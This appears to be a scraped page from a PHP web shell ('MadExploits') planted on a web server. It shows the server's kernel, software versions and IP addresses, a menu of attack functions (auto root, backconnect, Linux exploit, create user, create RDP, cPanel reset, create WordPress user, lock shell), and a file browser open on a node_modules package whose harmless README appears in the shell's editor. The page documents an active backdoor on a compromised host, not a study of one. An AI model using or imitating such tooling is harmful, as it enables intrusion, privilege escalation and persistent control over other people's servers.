Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
jest-serializer /
[ HOME SHELL ]
Name
Size
Permission
Action
build
[ DIR ]
dr-xr-xr-x
LICENSE
1.06
KB
-rw-rw-rw-
README.md
1.35
KB
-rw-rw-rw-
package.json
750
B
-rw-rw-rw-
v8.d.ts
329
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# jest-serializer Module for serializing and deserializing object into memory and disk. By default, the `v8` implementations are used, but if not present, it defaults to `JSON` implementation. Both serializers have the advantage of being able to serialize `Map`, `Set`, `undefined`, `NaN`, etc, although the JSON one does it through a replacer/reviver. ## Install ```sh $ yarn add jest-serializer ``` ## API Three kinds of API groups are exposed: ### In-memory serialization: `serialize` and `deserialize` This set of functions take or return a `Buffer`. All the process happens in memory. This is useful when willing to transfer over HTTP, TCP or via UNIX pipes. ```javascript import {deserialize, serialize} from 'jest-serializer'; const myObject = { foo: 'bar', baz: [0, true, '2', [], {}], }; const buffer = serialize(myObject); const myCopyObject = deserialize(buffer); ``` ### Synchronous persistent filesystem: `readFileSync` and `writeFileSync` This set of functions allow to send to disk a serialization result and retrieve it back, in a synchronous way. It mimics the `fs` API so it looks familiar. ```javascript import {readFileSync, writeFileSync} from 'jest-serializer'; const myObject = { foo: 'bar', baz: [0, true, '2', [], {}], }; const myFile = '/tmp/obj'; writeFileSync(myFile, myObject); const myCopyObject = readFileSync(myFile); ```
Close